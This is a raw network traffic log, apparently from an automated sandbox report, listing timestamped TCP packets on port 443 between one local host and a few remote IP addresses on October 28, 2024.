Oct 28, 2024 19:12:45.499905109 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.499980927 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.500088930 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.500093937 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.525192022 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.525612116 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.525628090 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.526084900 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.526089907 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.547609091 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.547946930 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.548981905 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.549902916 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.549911022 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.549920082 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.549923897 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.553245068 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.553286076 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.553370953 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.553631067 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.553652048 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.664802074 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.665004969 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.666429043 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.748697042 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.748713970 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.748735905 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.748743057 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.269882917 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.277057886 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.284687042 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.322484016 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.322505951 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.338120937 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.357202053 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.400634050 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.543015957 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.543031931 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.543601990 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.543608904 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.544074059 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.544135094 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.544317007 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.544329882 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.544569016 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.544584990 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.545057058 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.545063019 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.545361996 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.545377970 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.545711994 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.545717955 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.575460911 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.575494051 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.575620890 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.581557989 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.581569910 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.676369905 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.676536083 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.676594019 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.681094885 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.681307077 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.681365967 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.682437897 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.682594061 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.682717085 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.684580088 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.684741974 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.684794903 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.737287045 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.737287045 CET	59170	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.737314939 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.737323046 CET	443	59170	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.737550020 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.737581015 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.737596035 CET	59171	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.737605095 CET	443	59171	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.739495993 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.739505053 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.739517927 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.739522934 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.739649057 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.739649057 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.739660025 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.739669085 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.996649027 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:46.996680021 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:46.996742964 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.079421043 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.079442024 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.082422018 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.082488060 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.082570076 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.083363056 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.083395958 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.103235006 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.103247881 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.103323936 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.110331059 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.110357046 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.110434055 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.124862909 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.124880075 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.135337114 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.135412931 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.339236975 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.342324972 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.342335939 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.342916012 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.342921019 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.478640079 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.479127884 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.479166031 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.479177952 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.479227066 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.480896950 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.480905056 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.480921984 CET	59172	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.480926991 CET	443	59172	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.492435932 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.492451906 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.492513895 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.492777109 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.492789984 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.831056118 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.831620932 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.831634998 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.832247972 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.832252979 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.851265907 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.851622105 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.851682901 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.852262020 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.852276087 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.902267933 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.902607918 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.902628899 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.903119087 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.903131962 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.907681942 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.908229113 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.908246040 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.908765078 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.908768892 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.970061064 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.970249891 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.970316887 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.976345062 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.976351976 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.976362944 CET	59176	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.976366043 CET	443	59176	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.988078117 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.988090992 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.988410950 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.989080906 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.989093065 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.989434958 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.989582062 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.989655972 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.989840031 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.989871025 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.989897966 CET	59177	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.989916086 CET	443	59177	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.992917061 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.992952108 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:47.993144035 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.993921995 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:47.993952990 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.039525986 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.039552927 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.039621115 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.039642096 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.039669037 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.039719105 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.040136099 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.040155888 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.040184021 CET	59179	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.040194988 CET	443	59179	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.044215918 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.044233084 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.044286013 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.045310020 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.045322895 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.048645020 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.048702955 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.048796892 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.048929930 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.048933983 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.048954010 CET	59178	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.048957109 CET	443	59178	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.052773952 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.052797079 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.053054094 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.053600073 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.053625107 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.154185057 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:48.154218912 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:48.154355049 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:48.154582977 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:48.154596090 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:48.283552885 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.284110069 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.284137964 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.284964085 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.284970045 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.424592972 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.424889088 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.424928904 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.424946070 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.424998045 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.425323963 CET	59181	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.425339937 CET	443	59181	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.428741932 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.428788900 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.429004908 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.429399967 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.429416895 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.740041971 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.742909908 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.742970943 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.743621111 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.743634939 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.788419008 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.788940907 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.788958073 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.789678097 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.789684057 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.802730083 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.815104961 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.817714930 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.817732096 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.818476915 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.818480968 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.819500923 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.819525003 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.820107937 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.820118904 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.892448902 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.892523050 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.892597914 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.908680916 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.908710957 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.908766031 CET	59184	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.908785105 CET	443	59184	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.913904905 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.913950920 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.914004087 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.914186954 CET	59191	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.914201021 CET	443	59191	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.932101011 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.932167053 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.932271957 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.932271957 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.932352066 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.936446905 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.936448097 CET	59183	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.936460018 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.936470032 CET	443	59183	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.956099033 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.956120014 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.956180096 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.956377983 CET	59192	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.956396103 CET	443	59192	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.956861973 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.957170010 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.957222939 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.957269907 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.960861921 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.960869074 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.960881948 CET	59185	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.960886002 CET	443	59185	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.962268114 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.962446928 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.962522984 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.965756893 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.965756893 CET	59186	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.965779066 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.965799093 CET	443	59186	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.980190039 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.980221987 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.980357885 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.984756947 CET	59193	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.984777927 CET	443	59193	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.985281944 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.985291004 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:48.985367060 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.989608049 CET	59194	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:48.989620924 CET	443	59194	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.101067066 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.106281042 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.106292963 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.106652975 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.106663942 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.106714010 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.106719971 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.106758118 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.107358932 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.241923094 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.255835056 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.255970955 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.256309032 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.256318092 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.291235924 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.305790901 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.305802107 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.306340933 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.306345940 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.306869984 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.367727041 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:49.367810965 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:49.367888927 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:49.368100882 CET	59195	443	192.168.2.4	13.107.246.45
Oct 28, 2024 19:12:49.368140936 CET	443	59195	13.107.246.45	192.168.2.4
Oct 28, 2024 19:12:49.438797951 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.438815117 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.438865900 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.438882113 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.439191103 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.439198017 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.439207077 CET	59189	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.439209938 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.439218998 CET	443	59189	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.441961050 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.442002058 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.442065001 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.442233086 CET	59196	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:49.442261934 CET	443	59196	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:49.506218910 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.506335020 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.506380081 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.506397009 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.509793997 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.509840012 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.509849072 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.518699884 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.518752098 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.518760920 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.527970076 CET	443	59188	172.217.16.193	192.168.2.4
Oct 28, 2024 19:12:49.528012037 CET	59188	443	192.168.2.4	172.217.16.193
Oct 28, 2024 19:12:49.528022051 CET	443	59188	172.217.16.193	192.168.2.4
